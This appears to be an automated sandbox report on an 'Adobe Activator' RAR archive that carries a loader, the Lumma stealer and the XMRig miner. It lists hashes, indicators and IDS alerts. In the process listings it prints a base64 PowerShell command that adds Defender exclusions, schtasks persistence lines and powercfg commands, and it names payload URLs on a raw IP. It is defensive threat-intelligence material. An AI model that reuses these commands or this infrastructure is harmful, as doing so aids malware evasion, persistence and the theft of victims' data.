File name:

Adobe Activator.rar

Full analysis: https://app.any.run/tasks/285892b8-1a87-410c-b884-75092fb04784
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: May 19, 2024, 12:18:47
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
lumma
stealer
xmrig
loader
miner
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

5FA6E28B3B413E33D5E0E43B2EB7592E

SHA1:

C4EAF89326B97587049060F936D40DFF4E945C22

SHA256:

55D0878B26822889880B1518B566255CF79F39550DF86A1C4B450F21EFE5D52E

SSDEEP:

196608:jsFKwnURiKSX0slAzlHbOHCS0Nv4TtZAUiAzDWTC/AgQmxC:2L8cnApHbOHCSAUiAz+COmxC

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Drops the executable file immediately after the start

      • Adobe_Activator.exe (PID: 6988)
      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Generic malware mutex has been detected

      • Adobe_Activator.exe (PID: 6988)
    • XMRig has been detected

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Actions looks like stealing of personal data

      • MSBuild.exe (PID: 7052)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • Adobe_Activator.exe (PID: 6988)
      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Process drops legitimate windows executable

      • WinRAR.exe (PID: 6628)
    • Searches for installed software

      • MSBuild.exe (PID: 7052)
    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 4380)
    • Connects to the server without a host name

      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Process requests binary or script from the Internet

      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Starts CMD.EXE for commands execution

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Base64-obfuscated command line is found

      • cmd.exe (PID: 4380)
    • BASE64 encoded PowerShell command has been detected

      • cmd.exe (PID: 4380)
    • Creates file in the systems drive root

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • The process creates files with name similar to system file names

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Drops a system driver (possible attempt to evade defenses)

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Uses powercfg.exe to modify the power settings

      • cmd.exe (PID: 4380)
  • INFO

    • Reads the machine GUID from the registry

      • MSBuild.exe (PID: 7052)
      • Adobe_Activator.exe (PID: 6988)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Checks supported languages

      • Adobe_Activator.exe (PID: 6988)
      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Reads the software policy settings

      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 6628)
    • Reads the computer name

      • Adobe_Activator.exe (PID: 6988)
      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Drops the executable file immediately after the start

      • WinRAR.exe (PID: 6628)
    • Create files in a temporary directory

      • Adobe_Activator.exe (PID: 6988)
      • MSBuild.exe (PID: 7052)
      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Manual execution by a user

      • Adobe_Activator.exe (PID: 6988)
    • Creates files in the program directory

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Checks proxy server information

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Reads Environment values

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Disables trace logs

      • UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe (PID: 7104)
    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 5840)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
126
Monitored processes
20
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe rundll32.exe no specs adobe_activator.exe msbuild.exe uvtmvrlalszwi8wjs1uts8s73hgwxk.exe cmd.exe no specs conhost.exe no specs powershell.exe no specs powercfg.exe no specs powercfg.exe no specs cmd.exe no specs cmd.exe no specs conhost.exe no specs conhost.exe no specs powercfg.exe no specs schtasks.exe no specs schtasks.exe no specs powercfg.exe no specs powercfg.exe no specs filecoauth.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
700\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1108"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"C:\Windows\SysWOW64\cmd.exeUVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
1864powercfg /x -hibernate-timeout-dc 0 C:\Windows\SysWOW64\powercfg.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Power Settings Command-Line Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\powercfg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
3644powercfg /x -standby-timeout-ac 0 C:\Windows\SysWOW64\powercfg.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Power Settings Command-Line Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\powercfg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
3956powercfg /x -hibernate-timeout-ac 0 C:\Windows\SysWOW64\powercfg.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Power Settings Command-Line Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\powercfg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
4148"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk8512" /TR "C:\ProgramData\Dllhost\dllhost.exe"C:\Windows\SysWOW64\cmd.exeUVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
4360\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4380"cmd.exe" /C powershell -EncodedCommand "PAAjADEAcwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEcAZABpAGoAagBBAGYAQgA3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAdwBkAHEANgBUAFYAcAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBTADYAMABUACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate offC:\Windows\SysWOW64\cmd.exeUVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
4384\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5012SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"C:\Windows\SysWOW64\schtasks.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
Total events
17 868
Read events
17 833
Write events
32
Delete events
3

Modification events

(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\GoogleChromeEnterpriseBundle64.zip
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\Adobe Activator.rar
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(6628) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(5840) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
47
Suspicious files
141
Text files
8
Unknown types
0

Dropped files

PID
Process
Filename
Type
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3ddan.chmbinary
MD5:3F5EA602A3C7DF10F04607BB4036AE91
SHA256:D2ECB5ACF630F64891C85D796CDFC251B83604921A6057C8C747E4D0383C0CBF
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3dell.chmbinary
MD5:3B29CE38A2BF1D68B9E5F47B224FC208
SHA256:D348907C412F241BA167D9B7455AF4579816F43F61BC652FD2F948DFA4400904
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3dchs.chmbinary
MD5:C5642A52A8A562C0E877A5305C5A5845
SHA256:8C46FAEB2037EB7935D24C880A712E65AB970DA67A856D16FF0E7E9D7CAB1E07
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3dcht.chmbinary
MD5:CAC8A4ED9640B74857A93FB8B77F62E3
SHA256:1B3AE5A0BD843C09EE6662CD7A5F3D5B6F364EBCE14AFA85B268375DF3C9C235
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3d.chmbinary
MD5:B5F9ED44F46DC2A2B54BAF908B9B9781
SHA256:53136C96A99EC7F237470DB34E49742AC99427ED6F2A22045EE9C45CE390BC69
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3ddeu.chmbinary
MD5:47A7C297543CD404C3E70086C4F8FD21
SHA256:770F86DBED72FEC9ED81A0882F0FB7EF77D4880F174A03682D932C9F6215CC24
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3desm.chmbinary
MD5:B7835B96F85D64987C6F4E3F31D839AD
SHA256:4D50A06D7F04FE32378FA237A9C0EA3B352096A39115D6CD540E73EAD6B3BB37
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3deng.chmbinary
MD5:3ECD51DE3A504EEC21D70CCF865D43DD
SHA256:1D80C40950A02FE124D5450F0F2A4B177A497607575B4B13EB06DEBF958B6CEA
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Adobe_Activator.exeexecutable
MD5:34606BBFF1084F0E853F22A47DF80611
SHA256:D659948043D414A885E3F8DE5BD3DCEF4A03A972B300F14ACA8222B33CB33F31
6628WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb6628.47994\Adobe Activator\Help\nvcpl\nv3dara.chmbinary
MD5:C1B0257579B0D16FBE0CD2D02DBFAA75
SHA256:BDE3204CE98AD07F35AF5A5D77CB9BCEC604AE97B90A261C731E33CD86B4EC65
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
19
TCP/UDP connections
31
DNS requests
6
Threats
14

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5952
svchost.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
unknown
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
unknown
5140
MoUsoCoreWorker.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
unknown
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
unknown
5140
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
unknown
5952
svchost.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
unknown
7052
MSBuild.exe
GET
200
147.45.47.115:80
http://147.45.47.115/conhost.exe
unknown
unknown
7104
UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
GET
200
147.45.47.115:80
http://147.45.47.115/WinRing0x64.sys
unknown
unknown
7104
UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
GET
200
147.45.47.115:80
http://147.45.47.115/xmrig.exe
unknown
unknown
7104
UVTMVRLALSZWI8WJS1UTS8S73HGWXK.exe
GET
200
147.45.47.115:80
http://147.45.47.115/WatchDog.exe
unknown
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
239.255.255.250:1900
unknown
4
System
192.168.100.255:138
whitelisted
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
5952
svchost.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
unknown
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
unknown
5140
MoUsoCoreWorker.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
unknown
5952
svchost.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
unknown
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
unknown
5140
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
unknown
4
System
192.168.100.255:137
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
settings-win.data.microsoft.com
  • 40.127.240.158
whitelisted
ticketgradiencomfj.shop
  • 188.114.96.9
  • 188.114.97.9
unknown
pastebin.com
  • 104.20.4.235
  • 104.20.3.235
  • 172.67.19.24
shared
self.events.data.microsoft.com
  • 20.50.201.200
whitelisted

Threats

PID
Process
Class
Message
A Network Trojan was detected
STEALER [ANY.RUN] Lumma Stealer TLS Connection
7052
MSBuild.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
Misc activity
ET INFO Packed Executable Download
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1 ETPRO signatures available at the full report
No debug info